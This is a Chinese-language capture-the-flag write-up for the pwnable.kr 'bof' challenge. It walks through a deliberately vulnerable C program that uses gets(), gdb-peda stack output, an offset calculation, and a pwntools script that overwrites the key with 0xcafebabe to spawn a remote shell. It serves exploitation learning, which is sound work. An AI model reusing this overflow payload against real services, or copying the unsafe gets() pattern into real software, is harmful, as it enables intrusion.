pwnable.kr bof之write up

Posted 2020-09-30 liuyimin

这一题与前两题不同，用到了静态调试工具ida

首先题中给出了源码：

 1 #include <stdio.h>
 2 #include <string.h>
 3 #include <stdlib.h>
 4 void func(int key){
 5     char overflowme[32];
 6     printf("overflow me : ");
 7     gets(overflowme);    // smash me!
 8     if(key == 0xcafebabe){
 9         system("/bin/sh");
10     }
11     else{
12         printf("Nah..\\n");
13     }
14 }
15 int main(int argc, char* argv[]){
16     func(0xdeadbeef);
17     return 0;
18 }

分析源代码：思路是缓冲区溢出

我们gdb走到func函数内部分析：

gdb-peda$ n

[----------------------------------registers-----------------------------------]
EAX: 0xffffd08c (":WUV\\364oUV\\260VUV\\001")
EBX: 0xf7fbd000 --> 0x1a9da8 
ECX: 0xf7fd6000 ("overflow me : \\n")
EDX: 0xf7fbe898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd0b8 --> 0xffffd0d8 --> 0x0 
ESP: 0xffffd070 --> 0xffffd08c (":WUV\\364oUV\\260VUV\\001")
EIP: 0x5655564f (<func+35>:	call   0xf7e77440 <gets>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56555644 <func+24>:	call   0xf7e77da0 <puts>
   0x56555649 <func+29>:	lea    eax,[ebp-0x2c]
   0x5655564c <func+32>:	mov    DWORD PTR [esp],eax
=> 0x5655564f <func+35>:	call   0xf7e77440 <gets>
   0x56555654 <func+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x5655565b <func+47>:	jne    0x5655566b <func+63>
   0x5655565d <func+49>:	mov    DWORD PTR [esp],0x5655579b
   0x56555664 <func+56>:	call   0xf7e52e70 <system>
Guessed arguments:
arg[0]: 0xffffd08c (":WUV\\364oUV\\260VUV\\001")
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 --> 0xffffd08c (":WUV\\364oUV\\260VUV\\001")
0004| 0xffffd074 --> 0x0 
0008| 0xffffd078 --> 0xbf 
0012| 0xffffd07c --> 0xf7ea90e6 (test   eax,eax)
0016| 0xffffd080 --> 0xffffffff 
0020| 0xffffd084 --> 0xffffd0ae --> 0x56b06aa6 
0024| 0xffffd088 --> 0xf7e1fc34 --> 0x2aad 
0028| 0xffffd08c (":WUV\\364oUV\\260VUV\\001")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x5655564f in func ()

看这一点：

也就是说0xffffd08c就是overflowme数组开始的位置

而由

得key 的地址0xffffd0c0

所以只要输入52便可成功覆盖，便可跳转执行system("\\bin\\sh")

于是写exp:

1 #!/usr/bin/python
2 from pwn import *
3 io = remote("pwnable.kr","9000")
4 
5 key = 0xcafebabe
6 payload = "A" * 52 + p32(key)
7 
8 io.send(payload)
9 io.interactive()

 

运行得到